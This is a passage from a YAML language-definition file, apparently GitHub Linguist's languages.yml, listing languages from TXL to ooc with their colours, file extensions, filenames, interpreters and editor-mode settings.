language_id: 94901924\nTXL:\n  type: programming\n  color: \"#0178b8\"\n  extensions:\n  - \".txl\"\n  tm_scope: source.txl\n  ace_mode: text\n  language_id: 366\nTact:\n  type: programming\n  color: \"#48b5ff\"\n  extensions:\n  - \".tact\"\n  ace_mode: text\n  tm_scope: source.tact\n  language_id: 606708469\nTalon:\n  type: programming\n  ace_mode: text\n  color: \"#333333\"\n  extensions:\n  - \".talon\"\n  tm_scope: source.talon\n  language_id: 959889508\nTcl:\n  type: programming\n  color: \"#e4cc98\"\n  extensions:\n  - \".tcl\"\n  - \".adp\"\n  - \".sdc\"\n  - \".tcl.in\"\n  - \".tm\"\n  - \".xdc\"\n  aliases:\n  - sdc\n  - xdc\n  filenames:\n  - owh\n  - starfield\n  interpreters:\n  - tclsh\n  - wish\n  tm_scope: source.tcl\n  ace_mode: tcl\n  codemirror_mode: tcl\n  codemirror_mime_type: text/x-tcl\n  language_id: 367\nTcsh:\n  type: programming\n  group: Shell\n  extensions:\n  - \".tcsh\"\n  - \".csh\"\n  interpreters:\n  - tcsh\n  - csh\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 368\nTeX:\n  type: markup\n  color: \"#3D6117\"\n  ace_mode: tex\n  codemirror_mode: stex\n  codemirror_mime_type: text/x-stex\n  tm_scope: text.tex.latex\n  wrap: true\n  aliases:\n  - latex\n  extensions:\n  - \".tex\"\n  - \".aux\"\n  - \".bbx\"\n  - \".cbx\"\n  - \".cls\"\n  - \".dtx\"\n  - \".ins\"\n  - \".lbx\"\n  - \".ltx\"\n  - \".mkii\"\n  - \".mkiv\"\n  - \".mkvi\"\n  - \".sty\"\n  - \".toc\"\n  language_id: 369\nTea:\n  type: markup\n  extensions:\n  - \".tea\"\n  tm_scope: source.tea\n  ace_mode: text\n  language_id: 370\nTeal:\n  type: programming\n  extensions:\n  - \".tl\"\n  color: \"#00B1BC\"\n  tm_scope: source.teal\n  ace_mode: lua\n  codemirror_mode: lua\n  codemirror_mime_type: text/x-lua\n  interpreters:\n  - tl\n  language_id: 719038619\nTerra:\n  type: programming\n  extensions:\n  - \".t\"\n  color: \"#00004c\"\n  tm_scope: source.terra\n  ace_mode: lua\n  codemirror_mode: lua\n  codemirror_mime_type: text/x-lua\n  interpreters:\n  - lua\n  language_id: 371\nTerraform Template:\n  type: markup\n  extensions:\n  - \".tftpl\"\n  color: \"#7b42bb\"\n  tm_scope: source.hcl.terraform\n  ace_mode: ruby\n  codemirror_mode: ruby\n  codemirror_mime_type: text/x-ruby\n  group: HCL\n  language_id: 856832701\nTexinfo:\n  type: prose\n  wrap: true\n  extensions:\n  - \".texinfo\"\n  - \".texi\"\n  - \".txi\"\n  ace_mode: text\n  tm_scope: text.texinfo\n  interpreters:\n  - makeinfo\n  language_id: 988020015\nText:\n  type: prose\n  wrap: true\n  aliases:\n  - fundamental\n  - plain text\n  extensions:\n  - \".txt\"\n  - \".fr\"\n  - \".nb\"\n  - \".ncl\"\n  - \".no\"\n  filenames:\n  - CITATION\n  - CITATIONS\n  - COPYING\n  - COPYING.regex\n  - COPYRIGHT.regex\n  - FONTLOG\n  - INSTALL\n  - INSTALL.mysql\n  - LICENSE\n  - LICENSE.mysql\n  - NEWS\n  - README.me\n  - README.mysql\n  - README.nss\n  - click.me\n  - delete.me\n  - keep.me\n  - package.mask\n  - package.use.mask\n  - package.use.stable.mask\n  - read.me\n  - readme.1st\n  - test.me\n  - use.mask\n  - use.stable.mask\n  tm_scope: none\n  ace_mode: text\n  language_id: 372\nTextGrid:\n  type: data\n  color: \"#c8506d\"\n  tm_scope: source.textgrid\n  ace_mode: text\n  extensions:\n  - \".TextGrid\"\n  language_id: 965696054\nTextMate Properties:\n  type: data\n  color: \"#df66e4\"\n  aliases:\n  - tm-properties\n  filenames:\n  - \".tm_properties\"\n  ace_mode: properties\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  tm_scope: source.tm-properties\n  language_id: 981795023\nTextile:\n  type: prose\n  color: \"#ffe7ac\"\n  ace_mode: textile\n  codemirror_mode: textile\n  codemirror_mime_type: text/x-textile\n  wrap: true\n  extensions:\n  - \".textile\"\n  tm_scope: none\n  language_id: 373\nThrift:\n  type: programming\n  color: \"#D12127\"\n  tm_scope: source.thrift\n  extensions:\n  - \".thrift\"\n  ace_mode: text\n  language_id: 374\nToit:\n  type: programming\n  color: \"#c2c9fb\"\n  extensions:\n  - \".toit\"\n  tm_scope: source.toit\n  ace_mode: text\n  language_id: 356554395\nTor Config:\n  type: data\n  color: \"#59316b\"\n  filenames:\n  - torrc\n  tm_scope: source.torrc\n  ace_mode: apache_conf\n  aliases:\n  - torrc\n  language_id: 1016912802\nTree-sitter Query:\n  type: programming\n  color: \"#8ea64c\"\n  aliases:\n  - tsq\n  extensions:\n  - \".scm\"\n  tm_scope: source.scm\n  ace_mode: text\n  language_id: 436081647\nTuring:\n  type: programming\n  color: \"#cf142b\"\n  extensions:\n  - \".t\"\n  - \".tu\"\n  tm_scope: source.turing\n  ace_mode: text\n  language_id: 375\nTurtle:\n  type: data\n  extensions:\n  - \".ttl\"\n  tm_scope: source.turtle\n  ace_mode: turtle\n  codemirror_mode: turtle\n  codemirror_mime_type: text/turtle\n  language_id: 376\nTwig:\n  type: markup\n  color: \"#c1d026\"\n  extensions:\n  - \".twig\"\n  tm_scope: text.html.twig\n  ace_mode: twig\n  codemirror_mode: twig\n  codemirror_mime_type: text/x-twig\n  language_id: 377\nType Language:\n  type: data\n  aliases:\n  - tl\n  extensions:\n  - \".tl\"\n  tm_scope: source.tl\n  ace_mode: text\n  language_id: 632765617\nTypeScript:\n  type: programming\n  color: \"#3178c6\"\n  aliases:\n  - ts\n  interpreters:\n  - bun\n  - deno\n  - ts-node\n  - tsx\n  extensions:\n  - \".ts\"\n  - \".cts\"\n  - \".mts\"\n  tm_scope: source.ts\n  ace_mode: typescript\n  codemirror_mode: javascript\n  codemirror_mime_type: application/typescript\n  language_id: 378\nTypeSpec:\n  type: programming\n  color: \"#4A3665\"\n  aliases:\n  - tsp\n  extensions:\n  - \".tsp\"\n  tm_scope: source.tsp\n  ace_mode: text\n  language_id: 952272597\nTypst:\n  type: programming\n  color: \"#239dad\"\n  aliases:\n  - typ\n  extensions:\n  - \".typ\"\n  tm_scope: source.typst\n  ace_mode: text\n  language_id: 704730682\nUnified Parallel C:\n  type: programming\n  color: \"#4e3617\"\n  group: C\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  extensions:\n  - \".upc\"\n  tm_scope: source.c\n  language_id: 379\nUnity3D Asset:\n  type: data\n  color: \"#222c37\"\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  extensions:\n  - \".anim\"\n  - \".asset\"\n  - \".mask\"\n  - \".mat\"\n  - \".meta\"\n  - \".prefab\"\n  - \".unity\"\n  tm_scope: source.yaml\n  language_id: 380\nUnix Assembly:\n  type: programming\n  group: Assembly\n  extensions:\n  - \".s\"\n  - \".ms\"\n  aliases:\n  - gas\n  - gnu asm\n  - unix asm\n  tm_scope: source.x86\n  ace_mode: assembly_x86\n  language_id: 120\nUno:\n  type: programming\n  color: \"#9933cc\"\n  extensions:\n  - \".uno\"\n  ace_mode: csharp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csharp\n  tm_scope: source.cs\n  language_id: 381\nUnrealScript:\n  type: programming\n  color: \"#a54c4d\"\n  extensions:\n  - \".uc\"\n  tm_scope: source.java\n  ace_mode: java\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-java\n  language_id: 382\nUntyped Plutus Core:\n  type: programming\n  color: \"#36adbd\"\n  ace_mode: text\n  extensions:\n  - \".uplc\"\n  tm_scope: source.uplc\n  language_id: 1061635506\nUrWeb:\n  type: programming\n  color: \"#ccccee\"\n  aliases:\n  - Ur/Web\n  - Ur\n  extensions:\n  - \".ur\"\n  - \".urs\"\n  tm_scope: source.ur\n  ace_mode: text\n  language_id: 383\nV:\n  type: programming\n  color: \"#4f87c4\"\n  aliases:\n  - vlang\n  extensions:\n  - \".v\"\n  tm_scope: source.v\n  ace_mode: golang\n  codemirror_mode: go\n  codemirror_mime_type: text/x-go\n  language_id: 603371597\nVBA:\n  type: programming\n  color: \"#867db1\"\n  extensions:\n  - \".bas\"\n  - \".cls\"\n  - \".frm\"\n  - \".vba\"\n  tm_scope: source.vba\n  aliases:\n  - visual basic for applications\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 399230729\nVBScript:\n  type: programming\n  color: \"#15dcdc\"\n  extensions:\n  - \".vbs\"\n  tm_scope: source.vbnet\n  ace_mode: vbscript\n  codemirror_mode: vbscript\n  codemirror_mime_type: text/vbscript\n  language_id: 408016005\nVCL:\n  type: programming\n  color: \"#148AA8\"\n  extensions:\n  - \".vcl\"\n  tm_scope: source.vcl\n  ace_mode: text\n  language_id: 384\nVHDL:\n  type: programming\n  color: \"#adb2cb\"\n  extensions:\n  - \".vhdl\"\n  - \".vhd\"\n  - \".vhf\"\n  - \".vhi\"\n  - \".vho\"\n  - \".vhs\"\n  - \".vht\"\n  - \".vhw\"\n  tm_scope: source.vhdl\n  ace_mode: vhdl\n  codemirror_mode: vhdl\n  codemirror_mime_type: text/x-vhdl\n  language_id: 385\nVala:\n  type: programming\n  color: \"#a56de2\"\n  extensions:\n  - \".vala\"\n  - \".vapi\"\n  tm_scope: source.vala\n  ace_mode: vala\n  language_id: 386\nValve Data Format:\n  type: data\n  color: \"#f26025\"\n  aliases:\n  - keyvalues\n  - vdf\n  extensions:\n  - \".vdf\"\n  ace_mode: text\n  tm_scope: source.keyvalues\n  language_id: 544060961\nVelocity Template Language:\n  type: markup\n  color: \"#507cff\"\n  aliases:\n  - vtl\n  - velocity\n  extensions:\n  - \".vtl\"\n  ace_mode: velocity\n  tm_scope: source.velocity\n  codemirror_mode: velocity\n  codemirror_mime_type: text/velocity\n  language_id: 292377326\nVento:\n  type: markup\n  color: \"#ff0080\"\n  extensions:\n  - \".vto\"\n  tm_scope: source.vento\n  ace_mode: text\n  language_id: 757053899\nVerilog:\n  type: programming\n  color: \"#b2b7f8\"\n  extensions:\n  - \".v\"\n  - \".veo\"\n  tm_scope: source.verilog\n  ace_mode: verilog\n  codemirror_mode: verilog\n  codemirror_mime_type: text/x-verilog\n  language_id: 387\nVim Help File:\n  type: prose\n  color: \"#199f4b\"\n  aliases:\n  - help\n  - vimhelp\n  extensions:\n  - \".txt\"\n  tm_scope: text.vim-help\n  ace_mode: text\n  language_id: 508563686\nVim Script:\n  type: programming\n  color: \"#199f4b\"\n  tm_scope: source.viml\n  aliases:\n  - vim\n  - viml\n  - nvim\n  - vimscript\n  extensions:\n  - \".vim\"\n  - \".vba\"\n  - \".vimrc\"\n  - \".vmb\"\n  filenames:\n  - \".exrc\"\n  - \".gvimrc\"\n  - \".nvimrc\"\n  - \".vimrc\"\n  - _vimrc\n  - gvimrc\n  - nvimrc\n  - vimrc\n  ace_mode: text\n  language_id: 388\nVim Snippet:\n  type: markup\n  color: \"#199f4b\"\n  aliases:\n  - SnipMate\n  - UltiSnip\n  - UltiSnips\n  - NeoSnippet\n  extensions:\n  - \".snip\"\n  - \".snippet\"\n  - \".snippets\"\n  tm_scope: source.vim-snippet\n  ace_mode: text\n  language_id: 81265970\nVisual Basic .NET:\n  type: programming\n  color: \"#945db7\"\n  extensions:\n  - \".vb\"\n  - \".vbhtml\"\n  aliases:\n  - visual basic\n  - vbnet\n  - vb .net\n  - vb.net\n  tm_scope: source.vbnet\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 389\nVisual Basic 6.0:\n  type: programming\n  color: \"#2c6353\"\n  extensions:\n  - \".bas\"\n  - \".cls\"\n  - \".ctl\"\n  - \".Dsr\"\n  - \".frm\"\n  tm_scope: source.vba\n  aliases:\n  - vb6\n  - vb 6\n  - visual basic 6\n  - visual basic classic\n  - classic visual basic\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 679594952\nVolt:\n  type: programming\n  color: \"#1F1F1F\"\n  extensions:\n  - \".volt\"\n  tm_scope: source.d\n  ace_mode: d\n  codemirror_mode: d\n  codemirror_mime_type: text/x-d\n  language_id: 390\nVue:\n  type: markup\n  color: \"#41b883\"\n  extensions:\n  - \".vue\"\n  tm_scope: text.html.vue\n  ace_mode: vue\n  codemirror_mode: vue\n  codemirror_mime_type: text/x-vue\n  language_id: 391\nVyper:\n  type: programming\n  extensions:\n  - \".vy\"\n  color: \"#9F4CF2\"\n  ace_mode: text\n  tm_scope: source.vyper\n  language_id: 1055641948\nWDL:\n  aliases:\n  - Workflow Description Language\n  type: programming\n  color: \"#42f1f4\"\n  extensions:\n  - \".wdl\"\n  tm_scope: source.wdl\n  ace_mode: text\n  language_id: 374521672\nWGSL:\n  type: programming\n  color: \"#1a5e9a\"\n  extensions:\n  - \".wgsl\"\n  tm_scope: source.wgsl\n  ace_mode: text\n  language_id: 836605993\nWavefront Material:\n  type: data\n  extensions:\n  - \".mtl\"\n  tm_scope: source.wavefront.mtl\n  ace_mode: text\n  language_id: 392\nWavefront Object:\n  type: data\n  extensions:\n  - \".obj\"\n  tm_scope: source.wavefront.obj\n  ace_mode: text\n  language_id: 393\nWeb Ontology Language:\n  type: data\n  color: \"#5b70bd\"\n  extensions:\n  - \".owl\"\n  tm_scope: text.xml\n  ace_mode: xml\n  language_id: 394\nWebAssembly:\n  type: programming\n  color: \"#04133b\"\n  extensions:\n  - \".wast\"\n  - \".wat\"\n  aliases:\n  - wast\n  - wasm\n  tm_scope: source.webassembly\n  ace_mode: lisp\n  codemirror_mode: wast\n  codemirror_mime_type: text/webassembly\n  language_id: 956556503\nWebAssembly Interface Type:\n  type: data\n  color: \"#6250e7\"\n  extensions:\n  - \".wit\"\n  aliases:\n  - wit\n  ace_mode: text\n  tm_scope: source.wit\n  codemirror_mode: webidl\n  codemirror_mime_type: text/x-webidl\n  language_id: 134534086\nWebIDL:\n  type: programming\n  extensions:\n  - \".webidl\"\n  tm_scope: source.webidl\n  ace_mode: text\n  codemirror_mode: webidl\n  codemirror_mime_type: text/x-webidl\n  language_id: 395\nWebVTT:\n  type: data\n  wrap: true\n  aliases:\n  - vtt\n  extensions:\n  - \".vtt\"\n  tm_scope: text.vtt\n  ace_mode: text\n  language_id: 658679714\nWget Config:\n  type: data\n  group: INI\n  aliases:\n  - wgetrc\n  filenames:\n  - \".wgetrc\"\n  tm_scope: source.wgetrc\n  ace_mode: text\n  language_id: 668457123\nWhiley:\n  type: programming\n  color: \"#d5c397\"\n  extensions:\n  - \".whiley\"\n  tm_scope: source.whiley\n  ace_mode: text\n  language_id: 888779559\nWikitext:\n  type: prose\n  color: \"#fc5757\"\n  wrap: true\n  aliases:\n  - mediawiki\n  - wiki\n  extensions:\n  - \".mediawiki\"\n  - \".wiki\"\n  - \".wikitext\"\n  tm_scope: text.html.mediawiki\n  ace_mode: mediawiki\n  language_id: 228\nWin32 Message File:\n  type: data\n  extensions:\n  - \".mc\"\n  tm_scope: source.win32-messages\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 950967261\nWindows Registry Entries:\n  type: data\n  color: \"#52d5ff\"\n  extensions:\n  - \".reg\"\n  tm_scope: source.reg\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 969674868\nWitcher Script:\n  type: programming\n  color: \"#ff0000\"\n  extensions:\n  - \".ws\"\n  ace_mode: text\n  tm_scope: source.witcherscript\n  language_id: 686821385\nWolfram Language:\n  type: programming\n  color: \"#dd1100\"\n  extensions:\n  - \".mathematica\"\n  - \".cdf\"\n  - \".m\"\n  - \".ma\"\n  - \".mt\"\n  - \".nb\"\n  - \".nbp\"\n  - \".wl\"\n  - \".wls\"\n  - \".wlt\"\n  aliases:\n  - mathematica\n  - mma\n  - wolfram\n  - wolfram lang\n  - wl\n  interpreters:\n  - wolfram\n  - WolframKernel\n  - wolframscript\n  - math\n  - MathKernel\n  - MathematicaScript\n  - WolframNB\n  - Mathematica\n  tm_scope: source.mathematica\n  ace_mode: text\n  codemirror_mode: mathematica\n  codemirror_mime_type: text/x-mathematica\n  language_id: 224\nWollok:\n  type: programming\n  color: \"#a23738\"\n  extensions:\n  - \".wlk\"\n  ace_mode: wollok\n  tm_scope: source.wollok\n  language_id: 632745969\nWorld of Warcraft Addon Data:\n  type: data\n  color: \"#f7e43f\"\n  extensions:\n  - \".toc\"\n  tm_scope: source.toc\n  ace_mode: text\n  language_id: 396\nWren:\n  type: programming\n  color: \"#383838\"\n  aliases:\n  - wrenlang\n  extensions:\n  - \".wren\"\n  tm_scope: source.wren\n  ace_mode: text\n  language_id: 713580619\nX BitMap:\n  type: data\n  group: C\n  aliases:\n  - xbm\n  extensions:\n  - \".xbm\"\n  ace_mode: c_cpp\n  tm_scope: source.c\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 782911107\nX Font Directory Index:\n  type: data\n  filenames:\n  - encodings.dir\n  - fonts.alias\n  - fonts.dir\n  - fonts.scale\n  tm_scope: source.fontdir\n  ace_mode: text\n  language_id: 208700028\nX PixMap:\n  type: data\n  group: C\n  aliases:\n  - xpm\n  extensions:\n  - \".xpm\"\n  - \".pm\"\n  ace_mode: c_cpp\n  tm_scope: source.c\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 781846279\nX10:\n  type: programming\n  aliases:\n  - xten\n  ace_mode: text\n  extensions:\n  - \".x10\"\n  color: \"#4B6BEF\"\n  tm_scope: source.x10\n  language_id: 397\nXC:\n  type: programming\n  color: \"#99DA07\"\n  extensions:\n  - \".xc\"\n  tm_scope: source.xc\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 398\nXCompose:\n  type: data\n  filenames:\n  - \".XCompose\"\n  - XCompose\n  - xcompose\n  tm_scope: config.xcompose\n  ace_mode: text\n  language_id: 225167241\nXML:\n  type: data\n  color: \"#0060ac\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  aliases:\n  - rss\n  - xsd\n  - wsdl\n  extensions:\n  - \".xml\"\n  - \".adml\"\n  - \".admx\"\n  - \".ant\"\n  - \".axaml\"\n  - \".axml\"\n  - \".builds\"\n  - \".ccproj\"\n  - \".ccxml\"\n  - \".clixml\"\n  - \".cproject\"\n  - \".cscfg\"\n  - \".csdef\"\n  - \".csl\"\n  - \".csproj\"\n  - \".ct\"\n  - \".depproj\"\n  - \".dita\"\n  - \".ditamap\"\n  - \".ditaval\"\n  - \".dll.config\"\n  - \".dotsettings\"\n  - \".filters\"\n  - \".fsproj\"\n  - \".fxml\"\n  - \".glade\"\n  - \".gml\"\n  - \".gmx\"\n  - \".gpx\"\n  - \".grxml\"\n  - \".gst\"\n  - \".hzp\"\n  - \".icls\"\n  - \".iml\"\n  - \".ivy\"\n  - \".jelly\"\n  - \".jsproj\"\n  - \".kml\"\n  - \".launch\"\n  - \".mdpolicy\"\n  - \".mjml\"\n  - \".mm\"\n  - \".mod\"\n  - \".mojo\"\n  - \".mxml\"\n  - \".natvis\"\n  - \".ncl\"\n  - \".ndproj\"\n  - \".nproj\"\n  - \".nuspec\"\n  - \".odd\"\n  - \".osm\"\n  - \".pkgproj\"\n  - \".pluginspec\"\n  - \".proj\"\n  - \".props\"\n  - \".ps1xml\"\n  - \".psc1\"\n  - \".pt\"\n  - \".pubxml\"\n  - \".qhelp\"\n  - \".rdf\"\n  - \".res\"\n  - \".resx\"\n  - \".rs\"\n  - \".rss\"\n  - \".sch\"\n  - \".scxml\"\n  - \".sfproj\"\n  - \".shproj\"\n  - \".slnx\"\n  - \".srdf\"\n  - \".storyboard\"\n  - \".sublime-snippet\"\n  - \".sw\"\n  - \".targets\"\n  - \".tml\"\n  - \".ts\"\n  - \".tsx\"\n  - \".typ\"\n  - \".ui\"\n  - \".urdf\"\n  - \".ux\"\n  - \".vbproj\"\n  - \".vcxproj\"\n  - \".vsixmanifest\"\n  - \".vssettings\"\n  - \".vstemplate\"\n  - \".vxml\"\n  - \".wixproj\"\n  - \".workflow\"\n  - \".wsdl\"\n  - \".wsf\"\n  - \".wxi\"\n  - \".wxl\"\n  - \".wxs\"\n  - \".x3d\"\n  - \".xacro\"\n  - \".xaml\"\n  - \".xib\"\n  - \".xlf\"\n  - \".xliff\"\n  - \".xmi\"\n  - \".xml.dist\"\n  - \".xmp\"\n  - \".xproj\"\n  - \".xsd\"\n  - \".xspec\"\n  - \".xul\"\n  - \".zcml\"\n  filenames:\n  - \".classpath\"\n  - \".cproject\"\n  - \".project\"\n  - App.config\n  - NuGet.config\n  - Settings.StyleCop\n  - Web.Debug.config\n  - Web.Release.config\n  - Web.config\n  - packages.config\n  language_id: 399\nXML Property List:\n  type: data\n  color: \"#0060ac\"\n  group: XML\n  extensions:\n  - \".plist\"\n  - \".stTheme\"\n  - \".tmCommand\"\n  - \".tmLanguage\"\n  - \".tmPreferences\"\n  - \".tmSnippet\"\n  - \".tmTheme\"\n  tm_scope: text.xml.plist\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 75622871\nXPages:\n  type: data\n  extensions:\n  - \".xsp-config\"\n  - \".xsp.metadata\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 400\nXProc:\n  type: programming\n  extensions:\n  - \".xpl\"\n  - \".xproc\"\n  tm_scope: text.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 401\nXQuery:\n  type: programming\n  color: \"#5232e7\"\n  extensions:\n  - \".xquery\"\n  - \".xq\"\n  - \".xql\"\n  - \".xqm\"\n  - \".xqy\"\n  ace_mode: xquery\n  codemirror_mode: xquery\n  codemirror_mime_type: application/xquery\n  tm_scope: source.xq\n  language_id: 402\nXS:\n  type: programming\n  extensions:\n  - \".xs\"\n  tm_scope: source.c\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  language_id: 403\nXSLT:\n  type: programming\n  aliases:\n  - xsl\n  extensions:\n  - \".xslt\"\n  - \".xsl\"\n  tm_scope: text.xml.xsl\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  color: \"#EB8CEB\"\n  language_id: 404\nXmake:\n  type: programming\n  color: \"#22a079\"\n  filenames:\n  - xmake.lua\n  tm_scope: source.xmake\n  ace_mode: text\n  language_id: 225223071\nXojo:\n  type: programming\n  color: \"#81bd41\"\n  extensions:\n  - \".xojo_code\"\n  - \".xojo_menu\"\n  - \".xojo_report\"\n  - \".xojo_script\"\n  - \".xojo_toolbar\"\n  - \".xojo_window\"\n  tm_scope: source.xojo\n  ace_mode: text\n  language_id: 405\nXonsh:\n  type: programming\n  color: \"#285EEF\"\n  extensions:\n  - \".xsh\"\n  tm_scope: source.python\n  ace_mode: text\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  language_id: 614078284\nXtend:\n  type: programming\n  color: \"#24255d\"\n  extensions:\n  - \".xtend\"\n  tm_scope: source.xtend\n  ace_mode: text\n  language_id: 406\nYAML:\n  type: data\n  color: \"#cb171e\"\n  tm_scope: source.yaml\n  aliases:\n  - yml\n  extensions:\n  - \".yml\"\n  - \".mir\"\n  - \".reek\"\n  - \".rviz\"\n  - \".sublime-syntax\"\n  - \".syntax\"\n  - \".yaml\"\n  - \".yaml-tmlanguage\"\n  - \".yaml.sed\"\n  - \".yml.mysql\"\n  filenames:\n  - \".clang-format\"\n  - \".clang-tidy\"\n  - \".clangd\"\n  - \".gemrc\"\n  - CITATION.cff\n  - glide.lock\n  - pixi.lock\n  - yarn.lock\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  language_id: 407\nYANG:\n  type: data\n  extensions:\n  - \".yang\"\n  tm_scope: source.yang\n  ace_mode: text\n  language_id: 408\nYARA:\n  type: programming\n  color: \"#220000\"\n  ace_mode: text\n  extensions:\n  - \".yar\"\n  - \".yara\"\n  tm_scope: source.yara\n  language_id: 805122868\nYASnippet:\n  type: markup\n  aliases:\n  - snippet\n  - yas\n  color: \"#32AB90\"\n  extensions:\n  - \".yasnippet\"\n  tm_scope: source.yasnippet\n  ace_mode: text\n  language_id: 378760102\nYacc:\n  type: programming\n  extensions:\n  - \".y\"\n  - \".yacc\"\n  - \".yy\"\n  tm_scope: source.yacc\n  ace_mode: text\n  color: \"#4B6C4B\"\n  language_id: 409\nYul:\n  type: programming\n  color: \"#794932\"\n  ace_mode: text\n  tm_scope: source.yul\n  extensions:\n  - \".yul\"\n  language_id: 237469033\nZAP:\n  type: programming\n  color: \"#0d665e\"\n  extensions:\n  - \".zap\"\n  - \".xzap\"\n  tm_scope: source.zap\n  ace_mode: text\n  language_id: 952972794\nZIL:\n  type: programming\n  color: \"#dc75e5\"\n  extensions:\n  - \".zil\"\n  - \".mud\"\n  tm_scope: source.zil\n  ace_mode: text\n  language_id: 973483626\nZeek:\n  type: programming\n  aliases:\n  - bro\n  extensions:\n  - \".zeek\"\n  - \".bro\"\n  tm_scope: source.zeek\n  ace_mode: zeek\n  language_id: 40\nZenScript:\n  type: programming\n  color: \"#00BCD1\"\n  extensions:\n  - \".zs\"\n  tm_scope: source.zenscript\n  ace_mode: text\n  language_id: 494938890\nZephir:\n  type: programming\n  color: \"#118f9e\"\n  extensions:\n  - \".zep\"\n  tm_scope: source.php.zephir\n  ace_mode: php\n  language_id: 410\nZig:\n  type: programming\n  color: \"#ec915c\"\n  extensions:\n  - \".zig\"\n  - \".zig.zon\"\n  tm_scope: source.zig\n  ace_mode: zig\n  language_id: 646424281\nZimpl:\n  type: programming\n  color: \"#d67711\"\n  extensions:\n  - \".zimpl\"\n  - \".zmpl\"\n  - \".zpl\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 411\nZmodel:\n  type: data\n  color: \"#ff7100\"\n  extensions:\n  - \".zmodel\"\n  tm_scope: source.zmodel\n  ace_mode: text\n  language_id: 803760908\ncURL Config:\n  type: data\n  group: INI\n  aliases:\n  - curlrc\n  filenames:\n  - \".curlrc\"\n  - _curlrc\n  tm_scope: source.curlrc\n  ace_mode: text\n  language_id: 992375436\ncrontab:\n  type: data\n  color: \"#ead7ac\"\n  aliases:\n  - cron\n  - cron table\n  filenames:\n  - crontab\n  tm_scope: text.crontab\n  ace_mode: tcl\n  language_id: 705203557\ndesktop:\n  type: data\n  extensions:\n  - \".desktop\"\n  - \".desktop.in\"\n  - \".service\"\n  tm_scope: source.desktop\n  ace_mode: text\n  language_id: 412\ndircolors:\n  type: data\n  extensions:\n  - \".dircolors\"\n  filenames:\n  - \".dir_colors\"\n  - \".dircolors\"\n  - DIR_COLORS\n  - _dir_colors\n  - _dircolors\n  - dir_colors\n  tm_scope: source.dircolors\n  ace_mode: text\n  language_id: 691605112\neC:\n  type: programming\n  color: \"#913960\"\n  extensions:\n  - \".ec\"\n  - \".eh\"\n  tm_scope: source.c.ec\n  ace_mode: text\n  language_id: 413\nedn:\n  type: data\n  ace_mode: clojure\n  codemirror_mode: clojure\n  codemirror_mime_type: application/edn\n  extensions:\n  - \".edn\"\n  tm_scope: source.clojure\n  language_id: 414\nfish:\n  type: programming\n  color: \"#4aae47\"\n  group: Shell\n  interpreters:\n  - fish\n  extensions:\n  - \".fish\"\n  tm_scope: source.fish\n  ace_mode: text\n  language_id: 415\nhoon:\n  type: programming\n  color: \"#00b171\"\n  tm_scope: source.hoon\n  ace_mode: text\n  extensions:\n  - \".hoon\"\n  language_id: 560883276\niCalendar:\n  type: data\n  color: \"#ec564c\"\n  extensions:\n  - \".ics\"\n  - \".ical\"\n  tm_scope: source.iCalendar\n  aliases:\n  - iCal\n  ace_mode: properties\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 98384424\njq:\n  color: \"#c7254e\"\n  ace_mode: text\n  type: programming\n  extensions:\n  - \".jq\"\n  interpreters:\n  - gojq\n  - jaq\n  - jq\n  - jqjq\n  - jqq\n  - query-json\n  tm_scope: source.jq\n  language_id: 905371884\nkvlang:\n  type: markup\n  ace_mode: text\n  extensions:\n  - \".kv\"\n  color: \"#1da6e0\"\n  tm_scope: source.python.kivy\n  language_id: 970675279\nmIRC Script:\n  type: programming\n  color: \"#3d57c3\"\n  extensions:\n  - \".mrc\"\n  tm_scope: source.msl\n  ace_mode: text\n  language_id: 517654727\nmcfunction:\n  type: programming\n  color: \"#E22837\"\n  extensions:\n  - \".mcfunction\"\n  tm_scope: source.mcfunction\n  ace_mode: text\n  language_id: 462488745\nmdsvex:\n  type: markup\n  color: \"#5f9ea0\"\n  tm_scope: none\n  ace_mode: markdown\n  codemirror_mode: gfm\n  codemirror_mime_type: text/x-gfm\n  wrap: true\n  extensions:\n  - \".svx\"\n  language_id: 566198445\nmupad:\n  type: programming\n  color: \"#244963\"\n  extensions:\n  - \".mu\"\n  tm_scope: source.mupad\n  ace_mode: text\n  language_id: 416\nnanorc:\n  type: data\n  color: \"#2d004d\"\n  group: INI\n  extensions:\n  - \".nanorc\"\n  filenames:\n  - \".nanorc\"\n  - nanorc\n  tm_scope: source.nanorc\n  ace_mode: text\n  language_id: 775996197\nnesC:\n  type: programming\n  color: \"#94B0C7\"\n  extensions:\n  - \".nc\"\n  ace_mode: text\n  tm_scope: source.nesc\n  language_id: 417\nooc:\n  type: programming\n  color: 